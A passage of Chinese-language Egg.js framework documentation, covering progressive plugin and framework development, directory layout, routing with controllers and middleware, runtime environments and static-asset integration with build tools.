* `mm.error(target, method, error[, props|timeout][, timeout])`：回调返回 error。
* `mm.errorOnce(...)`：类似 `error`，但只生效一次。

### 同步函数辅助

* `mm.syncData(target, method, value)`：直接 return。
* `mm.syncEmpty(target, method)`：return `undefined`。
* `mm.syncError(target, method, error[, props])`：直接 throw。

### HTTP mock

* `mm.http.request(url, data[, headers][, delay])`：mock `http.request` / `http.get`。
* `mm.http.requestError(url[, reqError][, resError][, delay])`：mock request/response error。
* `mm.https.request(...)` / `mm.https.requestError(...)`：同理（https）。

### 其它

* `mm.spawn(code, stdout, stderr[, timeout])`：mock `child_process.spawn`。
* `mm.classMethod(instance, method, mockFn)`：通过 prototype mock class method。

完整、最新的 API 仍建议以 mm 仓库为准：
https://github.com/node-modules/mm

---

---
url: /zh-CN/intro/progressive.md
---
# 渐进式开发

在 Egg 里面，有[插件](../basics/plugin.md)和[框架](../advanced/framework.md)，前者还包括了 `path` 和 `package` 两种加载模式，那我们应该如何选择呢？

本文将以实例的方式，一步步给大家演示下，如何渐进式地进行代码演进。

全部的示例代码可以参见 [eggjs/examples/progressive](https://github.com/eggjs/examples/tree/master/progressive)。

## 最初始的状态

假设我们有一段分析 UA 的代码，实现以下功能：

* `ctx.isAndroid`
* `ctx.isIOS`

通过之前的教程，大家一定可以很快地写出来，我们快速回顾下：

对应的代码参见 [step1](https://github.com/eggjs/examples/tree/master/progressive/step1)。

目录结构：

```sh
example-app
├── app
│   ├── extend
│   │   └── context.js
│   └── router.js
├── test
│   └── index.test.js
└── package.json
```

核心代码：

```javascript
// app/extend/context.js
module.exports = {
  get isIOS() {
    const iosReg = /iphone|ipad|ipod/i;
    return iosReg.test(this.get('user-agent'));
  },
};
```

## 插件的雏形

我们很明显能感知到，这段逻辑是具备通用性的，可以写成插件。

但一开始的时候，功能还没完善，直接独立插件，维护起来比较麻烦。

此时，我们可以把代码写成插件的形式，但并不独立出去。

对应的代码参见 [step2](https://github.com/eggjs/examples/tree/master/progressive/step2)。

新的目录结构：

```sh
example-app
├── app
│   └── router.js
├── config
│   └── plugin.js
├── lib
│   └── plugin
│       └── egg-ua
│           ├── app
│           │   └── extend
│           │       └── context.js
│           └── package.json
├── test
│   └── index.test.js
└── package.json
```

核心代码：

* `app/extend/context.js` 移动到 `lib/plugin/egg-ua/app/extend/context.js`。

* `lib/plugin/egg-ua/package.json` 声明插件。

```json
{
  "eggPlugin": {
    "name": "ua"
  }
}
```

* `config/plugin.js` 中通过 `path` 来挂载插件。

```javascript
// config/plugin.js
const path = require('path');
exports.ua = {
  enable: true,
  path: path.join(__dirname, '../lib/plugin/egg-ua'),
};
```

## 抽成独立插件

经过一段时间开发后，该模块的功能成熟，此时可以考虑抽出来成为独立的插件。

首先，我们抽出一个 `egg-ua` 插件，看过[插件文档](../advanced/plugin.md)的同学应该都比较熟悉，我们这里只简单过一下：

目录结构：

```
egg-ua
├── app
│   └── extend
│       └── context.js
├── test
│   ├── fixtures
│   │   └── test-app
│   │       ├── app
│   │       │   └── router.js
│   │       └── package.json
│   └── ua.test.js
└── package.json
```

对应的代码参见 [step3/egg-ua](https://github.com/eggjs/examples/tree/master/progressive/step3/egg-ua)。

然后改造原有的应用，对应的代码参见 [step3/example-app](https://github.com/eggjs/examples/tree/master/progressive/step3/example-app)。

* 移除 `lib/plugin/egg-ua` 目录。
* `package.json` 中声明对 `egg-ua` 的依赖。
* `config/plugin.js` 中修改依赖声明为 `package` 方式。

```javascript
// config/plugin.js
exports.ua = {
  enable: true,
  package: 'egg-ua',
};
```

\*\*注意：\*\*在插件还没发布前，可以通过 `npm link` 的方式进行本地测试，具体参见 [npm-link](https://docs.npmjs.com/cli/link)。

```bash
cd example-app
npm link ../egg-ua
npm install
npm test
```

## 沉淀到框架

重复上述的过程，很快我们会积累了好几个插件和配置，并且我们会发现，在团队的大部分项目中，都会用到这些插件。

此时，就可以考虑抽象出一个适合团队业务场景的框架。

首先，抽象出 `example-framework` 框架，如上看过[框架文档](../advanced/framework.md)的同学应该都比较熟悉，我们这里只简单过一下：

目录结构：

```
example-framework
├── config
│   ├── config.default.js
│   └── plugin.js
├── lib
│   ├── agent.js
│   └── application.js
├── test
│   ├── fixtures
│   │   └── test-app
│   └── framework.test.js
├── README.md
├── index.js
└── package.json
```

* 对应的代码参见 [example-framework](https://github.com/eggjs/examples/tree/master/progressive/step4/example-framework)。
* 把原来的 `egg-ua` 等插件的依赖，从 `example-app` 中移除，配置到该框架的 `package.json` 和 `config/plugin.js` 中。

然后改造原有的应用，对应的代码参见 [step4/example-app](https://github.com/eggjs/examples/tree/master/progressive/step4/example-app)。

* 移除 `config/plugin.js` 中对 `egg-ua` 的依赖。
* `package.json` 中移除对 `egg-ua` 的依赖。
* `package.json` 中声明对 `example-framework` 的依赖，并配置 `egg.framework`。

```json
{
  "name": "progressive",
  "version": "1.0.0",
  "private": true,
  "egg": {
    "framework": "example-framework"
  },
  "dependencies": {
    "example-framework": "*"
  }
}
```

\*\*注意：\*\*在框架还没发布前，可以通过 `npm link` 的方式进行本地测试，具体参见 [npm-link](https://docs.npmjs.com/cli/link)。

```bash
cd example-app
npm link ../egg-framework
npm install
npm test
```

## 写在最后

综上所述，大家可以看到我们是如何一步步渐进地去进行框架演进，这得益于 Egg 强大的插件机制、代码共建，以及复用和下沉。这些步骤竟然可以这么地无痛来得以完成！

* 通常来说，当应用中有可能会复用到的代码时，直接放到 `lib/plugin` 目录去，例如例子中的 `egg-ua`。
* 当该插件功能稳定后，即可独立出来作为一个 `node module`。
* 随着时间推移，应用中相对复用性较强的代码都会逐渐独立为单独的插件。
* 当你的应用逐渐进化到针对某类业务场景的解决方案时，将其抽象为独立的 `framework` 进行发布。
* 当在新项目中抽象出的插件，下沉集成到框架后，其他项目只需要简单的重新执行 `npm install` 就可以使用上，从而极大地提高了整个团队的效率。
* \*\*注意：\*\*无论是应用、插件还是框架，都必须编写单元测试，并尽量实现 100% 覆盖率。

---

---
url: /zh-CN/basics/structure.md
---
# 目录结构

在[快速入门](../intro/quickstart.md)中，大家对框架应该有了初步的印象，接下来我们简单了解下目录约定规范。

```bash
egg-project
├── package.json
├── app.ts（可选）
├── agent.ts（可选）
├── app
│   ├── controller
│   │   ├── http
│   │   │   ├── HomeController.ts
│   │   │   └── UserController.ts
│   │   ├── rpc
│   │   │   └── UserRPCController.ts
│   │   ├── mcp
│   │   │   └── MyMCPController.ts
│   │   └── schedule
│   │       └── MyTaskController.ts
│   ├── service（可选）
│   │   └── UserService.ts
│   ├── middleware（可选）
│   │   └── ResponseTimeMiddleware.ts
│   ├── public（可选）
│   │   └── reset.css
│   ├── view（可选）
│   │   └── home.tpl
│   └── extend（可选）
│       ├── helper.ts（可选）
│       ├── request.ts（可选）
│       ├── response.ts（可选）
│       ├── context.ts（可选）
│       ├── application.ts（可选）
│       └── agent.ts（可选）
├── config
|   ├── plugin.ts
|   ├── config.default.ts
│   ├── config.prod.ts
|   ├── config.test.ts（可选）
|   ├── config.local.ts（可选）
|   └── config.unittest.ts（可选）
└── test
    ├── middleware
    |   └── ResponseTimeMiddleware.test.ts
    └── controller
           ├── http
           │   └── HomeController.test.ts
           ├── mcp
           │   └── MyMCPController.test.ts
           └── schedule
               └── MyTaskController.test.ts
```

如上，由框架约定的目录：

* `app/controller/**` 用于解析用户的输入，处理后返回相应的结果，具体参见 [Controller](./controller.md)。
* `app/service/**` 用于编写业务逻辑层，建议使用，具体参见 [Service](./service.md)。
* `app/middleware/**` 用于编写中间件，具体参见 [Middleware](./middleware.md)。
* `app/public/**` 用于放置静态资源，具体参见内置插件 [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static)。
* `app/extend/**` 用于框架的扩展，具体参见 [框架扩展](./extend.md)。
* `config/config.{env}.ts` 用于编写配置文件，具体参见 [配置](./config.md)。
* `config/plugin.ts` 用于配置需要加载的插件，具体参见 [插件](./plugin.md)。
* `test/**` 用于单元测试，具体参见 [单元测试](../core/unittest.md)。
* `app.ts` 和 `agent.ts` 用于自定义启动时的初始化工作，具体参见 [启动自定义](./app-start.md)。关于 `agent.ts` 的作用，参见 [Agent 机制](../core/cluster-and-ipc.md#agent-机制)。

由内置插件约定的目录：

* `app/public/**` 用于放置静态资源，具体参见内置插件 [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static)。

**若需自定义自己的目录规范，参见 [加载器（Loader）](../advanced/loader.md)**

* `app/view/**` 用于放置模板文件，具体参见 [模板渲染](../core/view.md)。
* `app/model/**` 用于放置领域模型，如 [`egg-sequelize`](https://github.com/eggjs/egg-sequelize) 等领域类相关插件。

---

---
url: /zh-CN/community.md
---
# 社区

## 交流群

* 钉钉群号：21751340，群名：Egg 社区互助交流群
* 微信群名：Egg 非官方自助交流群

## 资源链接

* 框架
  * [aliyun-egg](https://github.com/eggjs/aliyun-egg)
* 工具
  * [vscode plugin - eggjs](https://marketplace.visualstudio.com/items?itemName=atian25.eggjs)
  * [vscode plugin - eggjs-dev-tools](https://marketplace.visualstudio.com/items?itemName=yuzukwok.eggjs-dev-tools)
* 其他
  * [awesome-egg](https://github.com/eggjs/awesome-egg)
* 文章
  * [如何评价阿里开源的企业级 Node.js 框架 Egg？](https://www.zhihu.com/question/50526101/answer/144952130) 由 [@天猪](https://github.com/atian25) 提供
  * 你也可以到[知乎专栏](https://www.zhihu.com/column/eggjs)看我们的文章

## 项目赞助

[![sponsors](https://opencollective.com/eggjs/tiers/sponsors.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)
[![backers](https://opencollective.com/eggjs/tiers/backers.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)

## 贡献者

[![contributors](https://contrib.rocks/image?repo=eggjs/egg\&max=240\&columns=26)](https://github.com/eggjs/egg/graphs/contributors)

---

---
url: /zh-CN/basics/router.md
---
# 路由（Router）

Router 主要用来描述请求 URL 和具体承担执行动作的 Controller 的对应关系，框架约定了 `app/router.js` 文件用于统一所有路由规则。

通过统一的配置，我们可以避免路由规则逻辑散落在多个地方，从而出现未知的冲突。集中在一起，我们可以更方便地来查看全局的路由规则。

## 如何定义 Router

* `app/router.js` 里面定义 URL 路由规则

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/user/:id', controller.user.info);
};
```

* `app/controller` 目录下面实现 Controller

```js
// app/controller/user.js
class UserController extends Controller {
  async info() {
    const { ctx } = this;
    ctx.body = {
      name: `hello ${ctx.params.id}`,
    };
  }
}
```

这样就完成了一个最简单的 Router 定义，当用户执行 `GET /user/123`，`user.js` 这个里面的 info 方法就会执行。

## Router 详细定义说明

下面是路由的完整定义，参数可以根据场景的不同，自由选择：

```js
router.verb('path-match', app.controller.action);
router.verb('router-name', 'path-match', app.controller.action);
router.verb('path-match', middleware1, ..., middlewareN, app.controller.action);
router.verb('router-name', 'path-match', middleware1, ..., middlewareN, app.controller.action);
```

路由的完整定义主要包括以下五个主要部分：

* `verb`：用户触发动作，支持 get、post 等所有 HTTP 方法，后面会通过示例详细说明。
  * `router.head`：HEAD
  * `router.options`：OPTIONS
  * `router.get`：GET
  * `router.put`：PUT
  * `router.post`：POST
  * `router.patch`：PATCH
  * `router.delete`：DELETE
  * `router.del`：由于 delete 是一个保留字，所以提供了一个 delete 方法的别名。
  * `router.redirect`：可以对 URL 进行重定向处理，比如我们最经常使用的可以把用户访问的根目录路由到某个主页。
* `router-name`：给路由设定一个别名，可以通过 Helper 提供的辅助函数 `pathFor` 和 `urlFor` 来生成 URL。（可选）
* `path-match`：路由 URL 路径。
* `middlewareN`：在 Router 里面可以配置多个 Middleware。（可选）
* `controller`：指定路由映射到的具体 controller 上，controller 可以有两种写法：
  * `app.controller.user.fetch`：直接指定一个具体的 controller。
  * `'user.fetch'`：可以简写为字符串形式。

### 注意事项

* 在 Router 定义中，可以支持多个 Middleware 串联执行。
* Controller 必须定义在 `app/controller` 目录中。
* 一个文件里面也可以包含多个 Controller 定义，在定义路由时，可以通过 `${fileName}.${functionName}` 的方式指定对应的 Controller。
* Controller 支持子目录，在定义路由时，可以通过 `${directoryName}.${fileName}.${functionName}` 的方式指定对应的 Controller。

以下是一些路由定义的方式：

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/home', controller.home);
  router.get('/user/:id', controller.user.page);
  router.post('/admin', isAdmin, controller.admin);
  router.post('/user', isLoginUser, hasAdminPermission, controller.user.create);
  router.post('/api/v1/comments', controller.v1.comments.create); // app/controller/v1/comments.js
};
```

### RESTful 风格的 URL 定义

如果想用 RESTful 的方式定义路由，我们提供了 `app.router.resources('routerName', 'pathMatch', controller)` 方法，快速在一个路径上生成 [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) 路由结构。

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.resources('posts', '/api/posts', controller.posts);
  router.resources('users', '/api/v1/users', controller.v1.users); // app/controller/v1/users.js
};
```

上述代码就在 `/posts` 路径上部署了一组 CRUD 路径结构，对应的 Controller 为 `app/controller/posts.js`。接下来，只需在 `posts.js` 里面实现对应的函数即可。

| Method | Path            | Route Name | Controller.Action             |
| ------ | --------------- | ---------- | ----------------------------- |
| GET    | /posts          | posts      | app.controllers.posts.index   |
| GET    | /posts/new      | new\_post   | app.controllers.posts.new     |
| GET    | /posts/:id      | post       | app.controllers.posts.show    |
| GET    | /posts/:id/edit | edit\_post  | app.controllers.posts.edit    |
| POST   | /posts          | posts      | app.controllers.posts.create  |
| PUT    | /posts/:id      | post       | app.controllers.posts.update  |
| DELETE | /posts/:id      | post       | app.controllers.posts.destroy |

```js
// app/controller/posts.js
exports.index = async () => {};

exports.new = async () => {};

exports.create = async () => {};

exports.show = async () => {};

exports.edit = async () => {};

exports.update = async () => {};

exports.destroy = async () => {};
```

如果我们不需要其中的某些方法，可以省略在 `posts.js` 里面的实现，这样对应的 URL 路径也不会注册到 Router 中。

## router 实战

下面通过更多实际的例子，来说明 `router` 的用法。

### 参数获取

#### Query String 方式

```js
// app/router.js
module.exports = (app) => {
  app.router.get('/search', app.controller.search.index);
};

// app/controller/search.js
exports.index = async (ctx) => {
  ctx.body = `search: ${ctx.query.name}`;
};

// curl http://127.0.0.1:7001/search?name=egg
```

#### 参数命名方式

```js
// app/router.js
module.exports = (app) => {
  app.router.get('/user/:id/:name', app.controller.user.info);
};

// app/controller/user.js
exports.info = async (ctx) => {
  ctx.body = `user: ${ctx.params.id}, ${ctx.params.name}`;
};

// curl http://127.0.0.1:7001/user/123/xiaoming
```

#### 复杂参数的获取

路由里面也支持定义正则，可以更加灵活地获取参数：

```js
// app/router.js
module.exports = (app) => {
  app.router.get(
    /^\/package\/([\w-.]+\/[\w-.]+)$/,
    app.controller.package.detail,
  );
};

// app/controller/package.js
exports.detail = async (ctx) => {
  // 如果请求 URL 被正则匹配，可以按照捕获分组的顺序，从 ctx.params 中获取。
  // 按照下面的用户请求，`ctx.params[0]` 的内容就是 `egg/1.0.0`
  ctx.body = `package:${ctx.params[0]}`;
};

// curl http://127.0.0.1:7001/package/egg/1.0.0
```

### 表单内容的获取

```js
// app/router.js
module.exports = (app) => {
  app.router.post('/form', app.controller.form.post);
};

// app/controller/form.js
exports.post = async (ctx) => {
  ctx.body = `body: ${JSON.stringify(ctx.request.body)}`;
};

// 模拟发起 post 请求。
// curl -X POST http://127.0.0.1:7001/form --data '{"name":"controller"}' --header 'Content-Type:application/json'
```

> 附：

> 这里直接发起 POST 请求会**报错**：'secret is missing'。错误信息来源于 [koa-csrf/index.js#L69](https://github.com/koajs/csrf/blob/2.5.0/index.js#L69)。

> **原因**：框架内部针对表单 POST 请求均会验证 CSRF 的值，因此我们在表单提交时，需要带上 CSRF key 进行提交。具体可参考[安全威胁 CSRF 的防范](https://eggjs.org/zh-cn/core/security.html#安全威胁csrf的防范)。

> **注意**：上述校验是因为框架中内置了安全插件 [@eggjs/security](https://github.com/eggjs/security)，提供了一些默认的安全实践，并且框架的安全插件默认是开启的。如果需要关闭一些安全防范，直接设置相应选项的 `enable` 属性为 `false` 即可。

> 虽然不推荐，但如果确实需要关闭某些安全功能，可以在 `config/config.default.js` 中设置以下代码：

```javascript
exports.security = {
  csrf: false,
};
```

### 表单校验

```js
// app/router.js
module.exports = (app) => {
  app.router.post('/user', app.controller.user);
};

// app/controller/user.js
const createRule = {
  username: {
    type: 'email',
  },
  password: {
    type: 'password',
    compare: 're-password',
  },
};

exports.create = async (ctx) => {
  // 如果校验报错，会抛出异常
  ctx.validate(createRule);
  ctx.body = ctx.request.body;
};

// curl -X POST http://127.0.0.1:7001/user --data 'username=abc@abc.com&password=111111&re-password=111111'
```

### 重定向

#### 内部重定向

```js
// app/router.js
module.exports = (app) => {
  app.router.get('index', '/home/index', app.controller.home.index);
  app.router.redirect('/', '/home/index', 302);
};

// app/controller/home.js
exports.index = async (ctx) => {
  ctx.body = 'hello controller';
};

// curl -L http://localhost:7001
```

#### 外部重定向

```js
// app/router.js
module.exports = (app) => {
  app.router.get('/search', app.controller.search.index);
};

// app/controller/search.js
exports.index = async (ctx) => {
  const type = ctx.query.type;
  const q = ctx.query.q || 'nodejs';

  if (type === 'bing') {
    ctx.redirect(`http://cn.bing.com/search?q=${q}`);
  } else {
    ctx.redirect(`https://www.google.co.kr/search?q=${q}`);
  }
};

// curl http://localhost:7001/search?type=bing&q=node.js
// curl http://localhost:7001/search?q=node.js
```

### 中间件的使用

如果我们想把用户某一类请求的参数都大写，可以通过中间件来实现。
这里我们仅简单说明如何使用中间件，更多信息请参考[中间件](./middleware.md)。

```js
// app/controller/search.js
exports.index = async (ctx) => {
  ctx.body = `search: ${ctx.query.name}`;
};

// app/middleware/uppercase.js
module.exports = () => {
  return async function uppercase(ctx, next) {
    ctx.query.name = ctx.query.name && ctx.query.name.toUpperCase();
    await next();
  };
};

// app/router.js
module.exports = (app) => {
  app.router.get(
    's',
    '/search',
    app.middleware.uppercase(),
    app.controller.search.index,
  );
};

// curl http://localhost:7001/search?name=egg
```

### 太多路由映射？

如上所述，我们不建议在多个地方分散路由规则，这可能会导致问题排查困难。

如果确实存在需求，可以采用如下方法拆分：

```js
// app/router.js
module.exports = (app) => {
  require('./router/news')(app);
  require('./router/admin')(app);
};

// app/router/news.js
module.exports = (app) => {
  app.router.get('/news/list', app.controller.news.list);
  app.router.get('/news/detail', app.controller.news.detail);
};

// app/router/admin.js
module.exports = (app) => {
  app.router.get('/admin/user', app.controller.admin.user);
  app.router.get('/admin/log', app.controller.admin.log);
};
```

如果需要更好的路由组织方式，也可以直接使用 [egg-router-plus](https://github.com/eggjs/egg-router-plus)。

---

---
url: /zh-CN/basics/env.md
---
# 运行环境

一个 Web 应用本身应该是无状态的，并拥有根据运行环境设置自身的能力。

## 指定运行环境

框架有两种方式指定运行环境：

1. 通过 `config/env` 文件指定，该文件的内容就是运行环境，如 `prod`。一般通过构建工具来生成这个文件。

```plaintext
// config/env
prod
```

2. 通过 `EGG_SERVER_ENV` 环境变量指定运行环境更加方便，比如在生产环境启动应用：

```shell
EGG_SERVER_ENV=prod npm start
```

## 应用内获取运行环境

框架提供了变量 `app.config.env`，来表示应用当前的运行环境。

## 运行环境相关配置

不同的运行环境会对应不同的配置，具体请阅读 [Config 配置](./config.md)。

## 与 `NODE_ENV` 的区别

很多 Node.js 应用会使用 `NODE_ENV` 来区分运行环境，但 `EGG_SERVER_ENV` 区分得更加精细。一般的项目开发流程包括本地开发环境、测试环境、生产环境等，除了本地开发环境和测试环境外，其他环境可统称为**服务器环境**。服务器环境的 `NODE_ENV` 应该为 `production`。而且 npm 也会使用这个变量，在应用部署时，一般不会安装 devDependencies，所以这个值也应该为 `production`。

框架默认支持的运行环境及映射关系（如果未指定 `EGG_SERVER_ENV`，会根据 `NODE_ENV` 来匹配）如下表所示：

| `NODE_ENV` | `EGG_SERVER_ENV` | 说明         |
| ---------- | ---------------- | ------------ |
| （不设置） | local            | 本地开发环境 |
| test       | unittest         | 单元测试     |
| production | prod             | 生产环境     |

例如，当 `NODE_ENV` 为 `production` 而 `EGG_SERVER_ENV` 未指定时，框架会将 `EGG_SERVER_ENV` 设置成 `prod`。

## 自定义环境

Egg 框架支持开发者根据实际需要自定义开发环境。

假如你需要在开发流程中加入 SIT 集成测试环境，只需将环境变量 `EGG_SERVER_ENV` 设为 `sit`。同时，建议设置 `NODE_ENV` 为 `production`，这样在启动项目时，Egg 会加载 `config/config.sit.js` 配置文件，并将运行时环境的 `app.config.env` 设为 `sit`。

## 与 Koa 的区别

在 Koa 中，我们通过 `app.env` 来判断运行环境，其默认值为 `process.env.NODE_ENV`。然而在 Egg（及基于 Egg 的框架）中，配置统一放置于 `app.config`，因此需要通过 `app.config.env` 来区分环境。不再使用 `app.env`。

---

---
url: /zh-CN/advanced.md
---
# 进阶

* [加载器（Loader）](./loader.md)
* [插件开发](./plugin.md)
* [框架开发](./framework.md)
* [多进程研发模式增强](./cluster-client.md)
* [View 插件开发](./view-plugin.md)
* [升级你的生命周期事件函数](./loader-update.md)
* [对象生命周期](./lifecycle.md)

---

---
url: /zh-CN/tutorials/assets.md
---
# 静态资源

[`egg-view-assets`](https://github.com/eggjs/egg-view-assets) 提供了通用的静态资源管理和本地开发方案，具有以下功能：

1. 一体化的本地开发方案
2. 生产环境下的静态资源映射
3. 与模板引擎集成
4. 根据[约定](#构建工具约定)可以使用多种构建工具，例如 [`webpack`](https://webpack.js.org/)、[`roadhog`](https://github.com/sorrycc/roadhog)、[`umi`](https://umijs.org/) 等

您可以参考以下示例了解详情：

* [`roadhog` 工具示例](https://github.com/eggjs/examples/tree/master/assets-with-roadhog)
* [`umi` 工具示例](https://github.com/eggjs/examples/tree/master/assets-with-umi)
* [Ant Design Pro 示例](https://github.com/eggjs/egg-ant-design-pro)

## 页面渲染

可通过自动或手动方式添加静态资源，以下有两种方法：

### 使用 assets 模板引擎

assets 模板引擎并非服务端渲染，而是以一个静态资源文件作为入口，使用基础模板渲染出 HTML，并将这个文件插入到 HTML 的一种方法，查看 [使用 roadhog 的例子](https://github.com/eggjs/examples/tree/master/assets-with-roadhog)。

**配置插件：**

```js
// config/plugin.js
exports.assets = {
  enable: true,
  package: 'egg-view-assets',
};
```

**配置 assets 模板引擎：**

```js
// config/config.default.js
exports.view = {
  mapping: {
    '.js': 'assets',
  },
};
```

添加静态资源入口文件 `app/view/index.js`，然后调用 `render` 方法进行渲染：

```js
// app/controller/home.js
module.exports = class HomeController extends Controller {
  async render() {
    await this.ctx.render('index.js');
  }
};
```

**渲染的结果如下：**

```html
<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="http://127.0.0.1:8000/index.css"></link>
  </head>
  <body>
    <div id="root"></div>
    <script src="http://127.0.0.1:8000/index.js"></script>
  </body>
</html>
```

**注意：这个路径生成规则是有映射的，如 `index.js` -> `http://127.0.0.1:8000/index.js`。如果本地开发工具不支持这层映射，比如自定义了 entry 配置，可以使用其他模板引擎。**

#### 全局自定义 html 模板

一般默认的 HTML 无法满足需求，可以指定模板路径和模板引擎：

```js
// config/config.default.js
module.exports = (appInfo) => ({
  assets: {
    templatePath: path.join(appInfo.baseDir, 'app/view/template.html'),
    templateViewEngine: 'nunjucks',
  },
});
```

添加模板文件：

```html
<!DOCTYPE html>
<html>
  <head>
    {{ helper.assets.getStyle() | safe }}
  </head>
  <body>
    <div id="root"></div>
    {{ helper.assets.getScript() | safe }}
  </body>
</html>
```

[egg-view-assets] 插件提供了 `helper.assets` 根据自己的场景调用，`helper.assets.getScript()` 可以不用传参，会将 `render` 函数的参数透传。

#### 页面自定义 html 模板

支持根据不同页面指定模板，可以在 `render` 方法传参：

```js
// app/controller/home.js
module.exports = class HomeController extends Controller {
  async render() {
    await this.ctx.render(
      'index.js',
      {},
      {
        templatePath: path.join(
          this.app.config.baseDir,
          'app/view/template.html',
        ),
        templateViewEngine: 'nunjucks',
      },
    );
  }
};
```

#### 修改静态资源目录

以上例子是将静态资源放到 `app/view` 目录下，但大部分情况希望将它们放到独立目录，如 `app/assets`。因为 assets 模板引擎使用 `egg-view` 的加载器，所以直接修改其配置：

```js
// config/config.default.js
module.exports = (appInfo) => ({
  view: {
    // 如果还有其他模板引擎，需要合并多个目录
    root: path.join(appInfo.baseDir, 'app/assets'),
  },
});
```

### 使用其他模板引擎

如果默认的 assets 模板引擎无法满足需求，你可以考虑结合其他模板引擎使用。这种情况下不需要配置 assets 模板引擎，你可以参考 [使用 umi 的例子](https://github.com/eggjs/examples/tree/master/assets-with-umi)。

```js
// config/config.default.js
exports.view = {
  mapping: {
    '.html': 'nunjucks',
  },
};
```

渲染模板

```js
// app/controller/home.js
module.exports = class HomeController extends Controller {
  async render() {
    await this.ctx.render('index.html');
  }
};
```

添加模板文件（这里简化了 umi 的模板）

```html
<!DOCTYPE html>
<html>
  <head>
    {{ helper.assets.getStyle('umi.css') | safe }}
  </head>
  <body>
    <div id="root"></div>
    {{ helper.assets.getScript('umi.js') | safe }}
  </body>
</html>
```

**在其他模板中，必须添加参数以生成所需的静态资源路径。**

### 上下文数据

有时前端需要获取服务端数据。因此，在渲染页面时，我们通常会向 `window` 全局对象设置数据。

如果使用 assets 模板引擎，默认的前端代码可以从 `window.context` 获取数据。

```js
// app/controller/home.js
module.exports = class HomeController extends Controller {
  async render() {
    await this.ctx.render('index.js', { data: 1 });
  }
};
```

使用其他模板引擎时，你需要调用 `helper.assets.getContext(__context__)` 函数，并传入相应的上下文参数。

```js
// app/controller/home.js
module.exports = class HomeController extends Controller {
  async render() {
    await this.ctx.render('index.html', {
      __context__: { data: 1 },
    });
  }
};
```

默认的属性名为 `context`，但你可以通过以下配置来修改它：

```js
exports.assets = {
  contextKey: '__context__',
};
```

## 构建工具

这种模式最重要的是和构建工具整合，保证本地开发体验及自动部署，所以构建工具和框架需要有一层约定。

下面以 roadhog 为例。

### 映射关系

构建工具的 entry 配置决定了映射关系，如基于 webpack 封装的 roadhog、umi 等工具内置了映射关系。如果单独使用 webpack，则需要根据这层映射来选择使用哪种方式：

* 文件源码 `app/assets/index.js`，对应的 entry 为 `index.js`。
* 本地静态服务接收以此为 entry，如请求 `http://127.0.0.1:8000/index.js`。
* 构建生成的文件需要有这层映射关系，如生成 `index.{hash}.js` 并生成 manifest 文件描述关系，例如：

  ```json
  {
    "index.js": "index.{hash}.js"
  }
  ```

roadhog 完全满足这个映射关系，可使用 [assets 模板引擎](#使用-assets-模板引擎)。而 umi 不满足文件映射，因为它只有一个入口文件 `umi.js`。因此，可以选择[其他模板引擎](#使用其他模板引擎)的方案。

**其他构建工具接入需要满足这层映射关系。**

### 本地开发

查看[示例配置](https://github.com/eggjs/examples/blob/master/assets-with-roadhog/config/config.default.js)，本地服务配置为 `roadhog dev`，配置 `port` 来检查服务是否启动完成。因为 roadhog 默认启动端口为 8000，所以这里配置为 8000：

```js
exports.assets = {
  devServer: {
    command: 'roadhog dev',
    port: 8000,
  },
};
```

### 部署

静态资源部署之前需要构建，配置 `roadhog build` 命令，并执行 `npm run build`：

```json
{
  "scripts": {
    "build": "SET_PUBLIC_PATH=true roadhog build"
  }
}
```

**注意**：此处添加了 `SET_PUBLIC_PATH` 变量，因为 roadhog 这样才能开启 publicPath。

构建的结果根据 `.webpackrc` 配置的 output 决定，示例中是放到 `app/public` 目录下，由 `@eggjs/static` 提供服务。

同时根据 `.webpackrc` 配置的 manifest 生成一个 `manifest.json` 文件到 `config` 目录下（Egg 读取此文件作为映射关系）。

#### 应用提供服务

现在，应用启动后可以通过 `http://127.0.0.1:7001/public/index.{hash}.js` 访问静态资源。这里多了一层 public 路径，所以需要添加 publicPath 配置：

```js
// config/config.prod.js
exports.assets = {
  publicPath: '/public/',
};
```

#### 使用 CDN

通常情况下，静态资源会部署到 CDN 上。因此，在构建完成后，平台需要将构建产物发布到 CDN，例如 `https://cdn/myapp/index.{hash}.js`。

此时，除了 publicPath 还需修改静态资源地址：

```js
// config/config.prod.js
exports.assets = {
  url: 'https://cdn',
  publicPath: '/myapp/',
};
```

[webpack]: https://webpack.js.org/

[roadhog]: https://github.com/sorrycc/roadhog

[umi]: https://umijs.org/

[egg-view-assets]: https://github.com/eggjs/egg-view-assets